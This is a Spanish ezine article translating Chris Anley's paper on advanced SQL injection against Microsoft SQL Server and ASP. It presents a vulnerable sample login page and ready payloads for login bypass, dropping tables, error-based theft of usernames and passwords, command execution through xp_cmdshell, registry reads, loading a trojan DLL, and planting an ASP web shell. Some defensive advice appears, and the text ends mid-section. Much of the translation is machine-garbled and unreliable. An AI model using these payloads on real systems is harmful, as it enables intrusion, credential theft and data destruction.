Disidents Hack Team
bY *mitr3in*
SQL Injections

[Pre-Inicio]

Hi people, espero poder ayudar con este texto sobre SQL injections igual que con los anteriormente editados en la ezine Disidents, este texto está enfocado sobre la seguridad de las Bases de Datos SQL y como poder corregir ciertos fallos que se comenten al programar y permiten ejecutar ciertos códigos, conseguir ciertos privilegios o ver ... bueno en definitiva que vean los fallos más significativos que suelen tener las bases de datos basadas en SQL.

Para los que no sepáis de que va el Tema SQL Injections os comento rápido muy por encima por encima como va, ... cojes y te aprovechas de que ciertos programadores de mucha categoría no se fijan a la hora de programar en repasar el código y dejan ciertos fallos o código que podemos utilizar para obtener información sobre ciertas bases de datos, (lo de ciertos programadores es broma, ya que este técnica a sido descubierta hace muy poco tiempo por lo que los programadores aún sabian nada a la hora de programar las bases de datos :P jeje, bueno espero que a algunos con esta información le de tiempo a restaurar y reprogramar su base de datos de la empresa) Bueno sin más rollo vamos a comenzar con lo que hemos comentado, espero que este texto sea de vuestro agrado y una vez más os digo tened cuidado con lo que hacéis, compartir vuestros conocimientos con otros y haced que la información sea libre, saludos.

(Traducción del Texto Original Advanced SQL-Injections by Chris Anley)
[Inicio]

Este documento discute detalladamente ' la técnica común de la inyección del SQL ', pues se aplica a la plataforma popular del servidor del servidor Pages/SQL de la información Server/Active del Internet de Microsoft. Discute las varias maneras en las cuales el SQL se puede ' inyectar ' en el uso y trata algunas de las ediciones del lockdown de la validación y de la base de datos de datos que se relacionan con esta clase del ataque. El papel se piensa para ser leído por ambos reveladores de los usos de la tela que se comunican con las bases de datos y por los profesionales de la seguridad que papel incluye la revisión de estos usos de la tela.

[Introducción]

El lenguaje estructurado SQL es un lenguaje de programación usado para aplicaciones con bases de datos. Hay muchas variedades de SQL; la mayoría de los dialectos que están en uso común en el momento se basan libremente alrededor de Sql-92, el estándar más reciente del ANSI. La unidad típica de ejecución de SQL es la 'query', que es una colección de las declaraciones que vuelven típicamente un solo resultado fijado'.

Las declaraciones de SQL pueden modificar la estructura de bases de datos (con declaraciones del idioma de definición de datos, o ' DDL ') y manipular el contenido de bases de datos (con declaraciones de la lengua de manipulación de datos, o ' DML '). En este papel, discutiremos específicamente Tramitar-Transact-SQL, el dialecto de SQL usado por el servidor de Microsoft SQL. La inyección de SQL ocurre cuando un atacante puede insertar una serie de declaraciones de SQL en una ' query ' manipulando la entrada de datos en un uso. Una declaración típica de SQL puede ser esto:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

Es muy importante poner una nota en la línea string literals 'john' y 'smith' siendo delimitada con single quotes. Pudiendo ser 'forename' y 'surname' utilizadas para posteriormente usarse como aplicación input, y atacada por 'inject' de SQL en una query, entrando valores en la aplicación a tu gusto:

Forename: john
Surname: smith

La 'query string' viene dada con:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

Cuando la base de datos atienda esta petición, responderá con un error:

Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorret syntax near 'hn'.

Esta es la razón por la que al insertar una 'single quote' con el carácter 'breaks out' la single-quote es delimitada por la base(tabla). La base de datos buscará y ejecutará 'hn' y dará fallo. Si el atacante hubiese especificado la siguiente línea:

Forename: john'; drop table authors--
Surname:

...la tabla de authors sería borrada, por razones que entraremos más adelante.
Si el método que hubiese utilizado single quotes de input, o 'scaping' tendrían un problema peor. Esto es verdad, porque hay unas dificultad con estos métodos para encontrar la solución. Primero no todos los datos del usuario-suplied están en la forma secuencia. Si nosotros usamos input para seleccionar por author by 'id' probablemente un número) por ejemplo, nuestra query puede ser así:

select id, forename, surname from authors where id=1234

En esta situación el atacante simplemente usará las declaraciones SQL con el fin de hacer al final una numeric input. En esta parte los dialectos SQL, son varios delimitados usando el motor de Microsoft Jet DBMS, por ejemplo, pueden delimitar datos usando el carácter "#". Segundo 'scaping' las cotizaciones no son necesariamente

la mejora simple que puede ser que parezca inicialmente, por las razones que comentaremos más adelante.

Nosotros ilustramos estos puntos detalladamente adicional usando una muestra de Active Server Pages (ASP) página 'login' , con acceso a servidores de datos SQL y atendiendo a la autentificación de acceso ficticio a la aplicación.

En este código la página 'form', dentro de tipo de usuarios nombres y claves:

```
<HTML>
<HEAD>

<TITLE> Login Page</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size
100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>

</FONT>
</BODY>
</HTML>
```

En este código el 'process_login.asp', maneja la concesión actual.

```
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>

<STYLE>
        p { font-size=20pt ! important}
        font { font-size=20pt ! important}
        h1 { font-size=64pt ! important}
</STYLE>

<%@LANGUAGE = JScript %>
<%
```

```
function trace( str )
{
	if( Request.form("debug") == "true" )
		Response.write( str );
}


function Login( cn )
{
	var username;
	var password;

	username = Request.form("username");
	password = Request.form("password");

	var rso = Server.CreateObject("ADODB.Recordset");
	var sql = "select * from users where username = '" + username + "'
   and password = '" + password + "'";

	trace( "query: " + sql );

	rso.open( sql, cn );

	if (rso.EOF)
	{
		rso.close();
%>

	<FONT Face='tahoma' color='cc0000'>
	<H1>
	<BR><BR>
	<CENTER>ACCESS DENIED</CENTER>
	</H1>
	</BODY>
	</HTML>
<%
		Response.end
		return;
	}
	else
	{
		Session("username") = "" + rso("username");
	%>
	<FONT Face='tahoma' color='00cc00'>
	<H1>
	<CENTER>ACCESS GRANTED<BR>
	<BR>
	Welcome,
<%		Response.write(rso("Username"));
		Response.write( "</BODY></HTML>" );
```

```
                Response.end
        }

}


function Main()
{
        //Set up connection

        var username
        var cn = Server.createobject( "ADODB.Connection" );
        cn.connectiontimeout = 20;
        cn.open( "localserver", "sa", "password" );

        username = new String( Request.form("username") );

        if( username.length > 0)
        {
                Login( cn );
        }

        cn.close();
}



Main();

%>
```

El punto crítico aquí es parte de 'process_login.asp' ya que es creado por una 'query string':

```
        var sql = "select * from users where username = '" + username + "'
        and password = '" + password + "'";
```

Si usas las siguientes especificaciones:

```
        Username: '; drop table users--
        Password:
```

...los 'users' de esa tabla serán borrados, denegando el acceso a las aplicaciones de todos los usuarios. Esta secuencia de caracteres '--' es una línea simple de comentario tramitada en SQL, y los ';'denotan el fin de la query y el principio de otro. Los '--' son el final de los nombres de usuarios es requerido para que esta query termine particularmente sin error.

El atacante podría entrar como cualquier usuario, dado que saben el nombre de los usuarios, usando la entrada siguiente:

Username: admin'--

El atacante podría entrar primero como un usuario de la tabla, con una entrada así:

Username: ' or 1=1--

...y, extraño, el atacante puede entrar como usuario enteramente ficticio con la entrada siguiente:

Username: ' union select 1, 'fictinal user', 'some_password', 1--

En respuesta a estos trabajos que la aplicación cree que la fila 'constant' que el atacante especifico era parte de su recorset de la base de datos.

[OBTENIENDO INFORMACIÓN A TRAVÉS DE LOS MENSAJES DE ERROR]

Esta técnica fue descubierta por David Litchfield y el autor de la primera parte del test de penetración , David después escribió la técnica [1], y subsequent authors que hace referencia a su trabajo.
Esta explicación discute los mecanismos subyacentes de la técnica del mensaje de error, permitiendo al lector entenderlo completamente, y potencialmente origina variaciones propias. En la manipulación de los datos de la base, el atacante determinará la estructura de las bases y tablas.

Por ejemplo, en nuestra tabla 'users' have been created with el siguiente comando:

```
create table users     (        id int,
                                username varchar(255)
                                password varchar(255)
                                privs int
                        )
```

... e hizo los siguientes usuarios insertar:

```
insert into users values( 0, 'admin', 'r00tr0x', 0xffff )
insert into users values( 0, 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
```

Vamos a decir que nuestro atacante desea insertar a un usuario, sin saber la estructura de la ' tabla de usuarios, él es poco proclive a acertar. Incluso si él tiene suerte, la significación campo del ' de los privs es confusa. El atacante pudo insertar un ' 1 ', y se da un punto bajo, obtendrá una cuenta privilegiada en la aplicación, cuando después llegará a tener acceso como administrador.

Afortunadamente para el atacante, si un mensaje de error vuelve a la aplicación (the default ASP behaviour) el atacante podrá determinar la estructura de la base de datos, y podrá leer la aplicación ASP que utiliza para conectarse al servidor SQL.

(Los ejemplos siguientes utilizan las escrituras provistas de la base de datos y del asp de la muestra para ilustrar cómo se utilizan estas técnicas.)

Primero, el atacante quedrá saber los nombres de las tablas que están operativas, y los nombres del fields. Al hacer esto, las aplicaciones del atacante que tienen cláusula, 'selecciona ' la declaración:

Username: ' having 1=1--

Esto provocará la siguiente línea de error:

Microsoft OLE DB Provider for ODBC Driver error '80040e14'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Columna 'users.id' es inválido en la lista selecta porque no se contiene en una función agregada y no hay GRUPO POR cláusula.

/process_login.asp, line 35

También el atacante ahora podrá ver la tabla y nombres de la primera columna en la query. Ellos pueden continuar a través de las columnas introduciendo cada campo en un ' grupo por ' cláusula, como sigue:

Username: ' group by users.id having 1=1--

(cuando producen errores...)

Microsft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Columna 'users.id' es inválido en la lista selecta porque no se contiene en una función agregada y no hay GRUPO POR cláusula.

/process_login.asp, line 35

Normalmente el atacante llegará al siguiente 'username'

' group by users.id, users.username, users.password, users.privs having 1=1--

...con esto producirá un error, y será funcionalmente equivalente a:

select * from users where username = ''

Ahora también el atacante podrá tener una query solo de la tabla de 'users', y podrá usar la columna 'id, username, password, priv', en ese orden.

*** Sería si él pudiese determinar los tipos de cada columna. Esto puede ser archivado con ' un mensaje de error de la conversión del tipo ', como esto:*

Username: ' union select sum(username) from users--

Esto se aprovecha de que el servidor SQL procura aplicar la cláusula de la ' suma ' antes de determinar si el número de campos en el rowset dos es igual. El procurar calcular la ' suma ' de un campo textual da lugar a este mensaje:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] La operación agregada del suma o media no puede tomar un tipo de datos var char como discusión.

/process_login.asp, line 35

..el cuál nos dice que el campo ' username ' tiene tipo ' varchar'. Si por otra parte nosotros procuramos calcular la suma() de un tipo numérico, nosotros conseguiremos un mensaje de error que dice que el número de campos en los dos rowsets no son iguales.

Username: ' union select sum(id) from users--

Esto se aprovecha del hecho que el servidor SQL procura aplicar la cláusula de la 'suma' antes de determinar si el número de campos en los dos rowsets es igual.Al procurar calcular la 'suma' de un campo textual da lugar a este mensaje.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][Microsoft][ODBC SQL Server Driver][SQL Server] Todas las querys en una declaración del SQL que contiene a un operador de la UNIÓN deben tener un número igual de expresiones en sus listas de la blanco.

/process_login.asp, line 35

...cuál nos dice que el campo 'username' tiene el tipo 'varchar'.Si, por otra parte attemp para calcula la suma() de un tipo numérico, nosotros conseguimos un mensaje de error que dice el número de campos en los dos rowsets que no empareje:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][Microsoft][ODBC SQL Server Driver][SQL Server] Todas las querys en una declaración del SQL que contiene a un operador de la UNIÓN deben tener un número igual de expresiones en sus listas de la blanco.

/process_login.asp, line 35

Podemos utilizar esta técnica para determinar aproximadamente el tipo de cualquier columna de cualquier tabla en la base de datos. Esto permite que el atacante cree un pozo - query formada del tipo 'insert' como esto:

Username: '; insert into users values{ 666, 'attacker', 'foobar', 0xffff)--

Sin embargo, el potencial de estas técnicas no para aquí. El atacante puede aprovechar cualquier mensaje de error que revele información sobre la estructura de la base de datos. Una lista de las secuencias de formato para los mensajes de error estándar puede ser obtenida mediante:

select * from master..sysmessages

Examinar esta lista revela algunos mensajes interesantes. Un especialmente mensaje util se relaciona con la conversión del tipo. Si usted procura convertir una secuencia en un número entero, el contenido completo de la secuencia se vuelve ´en el mensaje de error. En nuestra página de la conexión de la muestra, por ejemplo, el 'username' siguiente volverá la versión especifica del servidor SQL, y el sistema operativo del servidor que está funcionando:

Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.

/process_login.asp, line 35

Esto procura convertir el '@@version' incorporando la constante número entero porque la primera columna en la 'tabla de usuarios' es un número entero. Esta técnica se puede utilizar para leer cualquier valor en cualquier tabla en la base de datos. Puesto que el atacante está interesado en usuarios y contraseñas, son probables leer los usuarios de la tabla usuarios como esto:

Username: ' union select min(username),1,1,1 from users where username > 'a'--

Esta selección de usuarios mínima es mayor que 'a' y procura convertirla en un número entero.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

El atacante ahora sabe que la cuenta tal existe. El es el 'admin' puede ahora alterar con las filas en la tabla sustituyendo cada usuario nuevo descubriendo la clusula 'where'.

Username: ' union select min(username),1,1,1 from users where username > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

Una vez que el atacante haya determinado los usuarios, el puede comenzar a coger contraseñas:

Username: ' union select password,1,1,1 from users where username = 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

Una técnica más elegante es concatenar todos los usuarios y contraseñas en una sola secuencia, y después procurar convertirla a un número entero. Esto ilustra otro punto; Las Declaraciones Tramitar-Transact-SQL pueden ser secuencias juntas en las mismas líneas sin alterar su significado. La escritura siguiente concatenará los valores:

```
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end
```

El atacante entrará con este usuario (todos en una línea obviamente).

```
Username: '; begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo end--
```

Esto crea de una tabla 'foo', que contiene solo la columna 'ret', y pone nuestra secuencia en él. Igual normalmente un usuario no privilegiado podrá crear una tabla en una base de datos de la muestra, o la base de datos temporal.

El atacante entonces selecciona la secuencia tabla, como antes:

```
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
```

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.

/process_login.asp, line 35

Y las drops(cancelaciones) de la tabla ponen el orden:

Username: '; drop table foo--

Estos ejemplos están tirando apenas la superficie de la flexibilidad de esta técnica. No cabe más que decir, que si el atacante puede obtener información a través de los errores de la base de datos, su trabajo será relativamente más facil.

[Acceso adicional del leveraging]

Una vez que un atacante tenga control sobre la base de datos, son probables que desee utilizar ese acceso para obtener control adicional sobre la red. Esto se podrá alcanzar de diferentes maneras:

*** 1. _ utilizar xp_cmdshell extender almacenar el procedimiento para ejecutar comandos sql como servidor de usuario, en la base de datos del servidor.*

*** 2. utilizar xp_regread extender almacenar procedimiento para leer registro llave, potencial incluyendo SAM (si sql servidor ser funcionar como local sistema cuenta).*

3. uso otro extender almacenar procedimiento para influenciar servidor.

4. funcionar query en ligar servidor .

5. crear costumbre extender almacenar procedimiento funcionamiento hazaña código dentro sql servidor proceso.

6. uso ' a granel relleno ' declaración para leer cualquier archivo en servidor.

7. uso bcp para crear arbitrario texto archivar en servidor .

8. utilizar sp_OACreate, sp_OAMethod y sp_OAGetProperty sistema almacenar procedimiento para crear ole.

Los usos de la automatización (ActiveX) que pueden hacer todo una escritura de ASP, pueden hacer que éstos sean algunos de los panoramas más comunes del ataque. Presentamos estas técnicas como una colección de ataques relativamente obvios del servidor de SQL, para demostrar algunas cosas que son posibles, dado la capacidad de inyectar código en las bases de datos SQL. Ahora comentaremos más detalladamente los puntos descritos antes:

[Xp_cmdshell]

Ampliamos procedimientos almacenados comos bibliotecas de acoplamiento dinámicas esencialmente compiladas (DLLs) ese uso es una convención específica que llama al servidor SQL para hacer funcionar funciones exportadas. Permiten que los usos del servidor SQL tengan energía de acceso al máximo de C/C++, y son una característica extremadamente útil.
El número de procedimientos almacenados extendidos se construyen dentro del servidor SQL, y realizan varias funciones tales como enviar e-mail y obrar recíprocamente con el xp_cmdshell del registro, es un procedimiento almacenado extendido incorporado que permite la ejecución de las líneas de comando arbitrarias.

Por ejemplo: la página 12 del directorio de exec master..xp_cmdshell obtendrá un listado del directorio de trabajo actual del proceso del servidor SQL, y el exec master..xp_cmdshell ' usuario de net1 ' proporcionará una lista de todos los usuarios en la máquina. Puesto que el servidor SQL normalmente funciona como la cuenta local del ' sistema ', o ' una cuenta de usuario de dominio ', un atacante puede hacer mucho daño

[xp_regread]

Otro sistema provechoso construido en procedimientos almacenados extendidos en funciones de xp_regXXX, xp_regaddmultistring en aplicaciones xp_regremovemultistring por ejemplo de xp_regwrite del xp_regread de los xp_regenumvalues de los xp_regenumkeys del xp_regdeletevalue del xp_regdeletekey de algunas de estas funciones:

exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'

(esto determinará que partes de la sesión están disponibles en el servidor)

exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm
unities'

(Esto revelará a todas las comunidades de SNMP configuradas en el servidor. Con esta información, un atacante puede configurar de nuevo aplicaciones de la red en la misma red, puesto que las comunidades de SNMP tienden para ser cambiadas infrecuentemente, y compartido entre muchos anfitriones) es fácil imaginarse cómo un atacante pudo utilizar estas funciones para leer el SAM, cambiar la configuración de un servicio de sistema de modo que comience la próxima vez que se reanude la máquina, o funcione un comando arbitrario la próxima vez que cualquier persona entre al servidor.

[Otro procedimientos almacenados extendidos]

El procedimiento del xp_servicecontrol permite que un usuario comience, parar, detenerse brevemente y ' continúe ' los servicios de la página 13: el exec

master..xp_servicecontrol ' comienzo ' del ' horario ' del exec master..xp_servicecontrol el ' comienzo ', ' servidor ' aquí es una tabla de algunos otros procedimientos almacenados extendidos útiles:

[Servidores Ligados]

El servidor del SQL proporciona un mecanismo para permitir los servidores ' sean ligados ' - es decir, para permitir que una query en un servidor de la base de datos manipule datos sobre otro. Estos acoplamientos se almacenan en la tabla de master..sysservers. Si un servidor ligado se ha fijado encima de usar el procedimiento del ' sp_addlinkedsrvlogin ', un acoplamiento pre-authenticado es presente y el servidor ligado se puede alcanzar a través de él sin tener que abrirse una sesión. La función del ' openquery ' permite que las querys sean funcionadas contra el servidor ligado. [procedimientos almacenados extendidos de encargo] el procedimiento almacenado extendido API es bastante simple, y es una tarea bastante simple crear un DLL almacenado extendido del procedimiento que lleve código malévolo. Hay varias maneras de upload el DLL sobre el servidor del SQL usando líneas de comando, y hay otros métodos que implican los varios mecanismos de la comunicación que pueden ser automatizados, por ejemplo transferencias directas del HTTP y escrituras del ftp. Una vez que el archivo del DLL esté presente en una máquina a que el servidor del SQL pueda tener acceso - esta necesidad necesariamente ser el servidor sí mismo del SQL - el atacante pueda agregar el procedimiento almacenado extendido usando este comando (en este caso, nuestro procedimiento almacenado malévolo es un pequeño, el web server de Trojan que exporta los filesystems de los servidores):

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

El procedimiento almacenado extendido puede entonces ser funcionado llamándolo de la manera normal:

exec xp_webserver

Una vez que funcione el procedimiento, puede ser quitado con:

sp_dropextendedproc 'xp_webserver'

[La importación del texto archiva en las tablas]

Con la declaración del ' relleno a granel ', es posible insertar un archivo del texto en una tabla temporal. Cree simplemente la tabla como esto:

create table foo(line varchar(8000))

...y entonces funcionado un relleno a granel para insertar los datos del archivo, como esto:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

Los datos del the se pueden entonces recuperar usando cualesquiera de las técnicas antedichas del mensaje de error, o por una ' unión ' seleccione, combinando los datos en el archivo del texto con los datos que son vueltos normalmente por el uso. Esto es útil para obtener el código de fuente de las escrituras almacenadas en el servidor de la base de datos, o posiblemente la fuente de las escrituras del ASP. [crear el texto archiva con BCP] es bastante fácil crear usar arbitrario de los archivos del texto ' enfrente ' de técnica al ' relleno a granel '.

Desafortunadamente esto requiere una herramienta de la línea de comando, ' bcp ', el ' programa a granel de la copia ' desde accesos del bcp la base de datos fuera del proceso del servidor del SQL, él requiere una conexión. Esto no es típicamente difícil de obtener, puesto que el atacante puede crear probablemente uno de todos modos, o se aprovecha de modo ' integrado ' de la seguridad, si el servidor se configura para utilizarlo. El formato de línea de comando es como sigue:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

Parámetro el ' del s es el servidor en el cual funcionar la query, ' el U ' es el username y ' el P ' es la contraseña, en este caso ' foobar '. [escrituras de la automatización de ActiveX en servidor del SQL] se proporcionan varios procedimientos almacenados extendidos incorporados que permiten la creación de las escrituras de la automatización de ActiveX en servidor del SQL. Estas escrituras son funcionalmente iguales que las escrituras que funcionan en el contexto de las ventanas scripting el anfitrión, o escrituras del ASP - son la página 15 escrita típicamente en VBScript o Javascript, y crean objetos de la automatización y obran recíprocamente con ellos. Una escritura de la automatización escrita en el Tramitar-Transact-SQL de esta manera puede hacer cualquier cosa que una escritura del ASP, o una escritura de WSH puede hacer. Algunos ejemplos se proporcionan aquí para los propósitos de la ilustración 1) las aplicaciones de este ejemplo el objeto de ' wscript.shell ' de crear un caso de la libreta (ésta podría por supuesto ser cualquier línea de comando):

```
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
```

Podría ser funcionado en nuestro panorama de la muestra especificando el username siguiente (todo en una línea):

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2) este ejemplo utiliza el objeto de ' scripting.filesystemobject ' para leer un archivo sabido del texto:

```
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
```

```
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
```

3) este ejemplo crea una escritura del ASP que funcione cualquier comando pasado a él en querystring:

```
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'
```

Es importante observar que al funcionar en Windows NT4, IIS4 la plataforma, comandos publicados por esta escritura del ASP funcionará como la cuenta del ' sistema '. En IIS5, sin embargo, funcionarán como la cuenta bajo-privilegiada de IWAM_xxx. 4) este ejemplo (algo falso) ilustra la flexibilidad de la técnica; utiliza el objeto de ' speech.voicetext ', haciendo el servidor del SQL hablar:

```
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
```

Esto se podría por supuesto funcionar en nuestro panorama del ejemplo, especificando el ' username siguiente ' (nota que el ejemplo está inyectando no solamente una escritura, pero simultáneamente el entrar al uso como ' admin '): Username: admin '; declare el @o interno, @o interno del sp_oasetproperty del exec de la ' barra ' del sp_oacreate ' del exec del @ret speech.voicetext ', @o fuera del @o del sp_oamethod del exec, ' registro ', FALTA DE INFORMACIÓN, ' foo ', ' velocidad ', @o del sp_oamethod de 150 exec, ' hable ', FALTA DE INFORMACIÓN, ' todos sus servidores de la consecuencia son pertenecen a nosotros ', 528 que el waitfor retrasa ' 00:00:05 ' - -

[Los procedimientos almacenados]

La sabiduría tradicional sostiene que si un uso del ASP utiliza procedimientos almacenados en la base de datos, esa inyección del SQL no es posible. Esto es una mitad-verdad, y depende de la manera de la cual el procedimiento almacenado se llama de la escritura del ASP. Esencialmente, si se funciona una query dada parámetros, y los

parámetros user-supplied se pasan con seguridad a la query, entonces inyección del SQL es típicamente imposible. Sin embargo, si el atacante puede ejercer alguna influencia sobre no - los elementos de datos de la secuencia se funciona que, de la query es probable que puedan controlar la base de datos.
Las buenas reglas generales son:

*Si la escritura del ASP crea una secuencia de la query del SQL que se someta al servidor, es vulnerable a la inyección del SQL, * incluso si * él utiliza procedimientos almacenados. Si la escritura del ASP utiliza un objeto del procedimiento que envuelve la asignación de parámetros a un procedimiento almacenado (tal como el objeto del comando de la DIFICULTAD, usada con la colección de los parámetros) entonces él es generalmente seguro, aunque éste depende de la puesta en práctica del objeto.*

Obviamente, la mejor práctica es todavía validar toda la entrada provista usuario, puesto que las nuevas técnicas del ataque se están descubriendo toda la hora. Para ilustrar el punto almacenado de la inyección de la query del procedimiento, ejecute la secuencia siguiente del SQL:

sp_who '1' select * from sysobjects
or
sp_who '1'; select * from sysobjects

Cualquier manera, la query añadida todavía se funciona, después del procedimiento almacenado.

[Inyección avanzada del SQL]

Es a menudo el caso que una voluntad ' escape ' del uso de la tela el carácter del apóstrofe (y otros), y de otra manera ' da masajes ' a los datos que son sometidos por el usuario, por ejemplo limitando su longitud. En esta sección, discutimos algunas técnicas que ayuden a atacantes a puentear algunas de las defensas más obvias contra la inyección del SQL, y evadimos la registración hasta cierto punto. [secuencias sin cotizaciones] de vez en cuando, los reveladores pudieron haber protegido un uso (opinión) escapando todos los caracteres ' del apóstrofe ', quizás usando el VBScript ' substituya ' la función o similar:

```
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
```

Obviamente, esto evitará que todos los ataques del ejemplo el trabajo contra nuestro sitio de la muestra, y quiten ';' los caracteres también ayudarían mucho. Sin embargo, en un uso más grande es probable que varios valores que suponen el usuario entrar sean numéricos.

Estos valores no requerirán ' delimitar ', y así que pueden proporcionar un punto en el cual el atacante pueda insertar el SQL. Si el atacante desea crear un valor de la secuencia sin usar cotizaciones, pueden utilizar la función del ' carbón '. Por ejemplo:

insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

Es una query que no contiene ningún carácter de la cotización, que insertarán secuencias en una tabla. Por supuesto, si el atacante no importa el usar de un username y de una contraseña numéricos, la declaración siguiente haría del mismo modo que:

insert into users values(667,
123,
123,
0xffff)

Puesto que el servidor del SQL convierte automáticamente números enteros en valores ' varchar ', la conversión del tipo es implícita.

[Inyección del SQL de Segundo-Orden]

Incluso si un uso escapa siempre solo - las cotizaciones, un atacante pueden inmóvil inyectar el SQL mientras los datos en la base de datos son reutilizados por el uso. Por ejemplo, un atacante pudo colocarse con un uso, creando un username:

Username: admin'--
Password: password

El uso escapa correctamente el apóstrofe, dando por resultado una declaración del ' relleno ' como esto:

insert into users values(123, 'admin''--', 'password', 0xffff)

Vamos decir el uso permite que un usuario cambie su contraseña. El código de la escritura del ASP primero se asegura de que el usuario tenga la ' vieja ' contraseña correcta antes de fijar la nueva contraseña. El código pudo parecer esto:

```
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password
= '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
…
```

La query para fijar la nueva contraseña pudo parecer esto:

sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"

el rso("username") es el username recuperado de la query de la ' conexión '. Dado el username admin ' - -, la query produce la query siguiente:

update users set password = 'password' where username = 'admin'--'

El atacante puede por lo tanto fijar la contraseña del admin al valor de su opción, colocándose como usuario llamado admin ' - -. que esto es un problema peligroso, presente en la mayoría de los usos grandes que procuren ' escapar ' datos. La mejor solución es rechazar la mala entrada, más bien que simplemente procurar modificarla. Esto puede conducir de vez en cuando a los problemas, sin embargo, donde están necesarios los ' malos ' caracteres sabidos, como (por ejemplo) en el caso de nombres con apóstrofes;
por ejemplo O'Brien de una perspectiva de la seguridad, la mejor manera de solucionar esto debe vivir simplemente con el hecho de que solo-cotiza no están permitidos. Si esto es inaceptable, tendrán que ' ser escapados '; de este caso, es la mejor asegurarse de que todos los datos que entran una secuencia de la query del SQL (datos incluyendo obtenidos de la base de datos) están manejados correctamente.

*Los ataques de esta forma son también posibles si el atacante puede insertar de alguna manera datos en el sistema sin usar el uso; el uso pudo tener un interfaz del email, o quizás un registro de errores se almacena en la base de datos que el atacante puede ejercer un cierto control sobre. Es siempre el mejor verificar * todos * datos, incluyendo los datos que están ya en el sistema - las funciones de la validación deben ser relativamente simples llamar, por ejemplo*

if (not isValid("email", request.querystring("email")) then
response.end

...o algo similar. [Límites de la longitud] la longitud de los datos de entrada es a veces restricta para hacer ataques más difíciles; mientras que esto obstruye algunos tipos de ataque, es posible hacer absolutamente muchos de daño en una cantidad muy pequeña de SQL. Por ejemplo, el username

Username: ';shutdown--

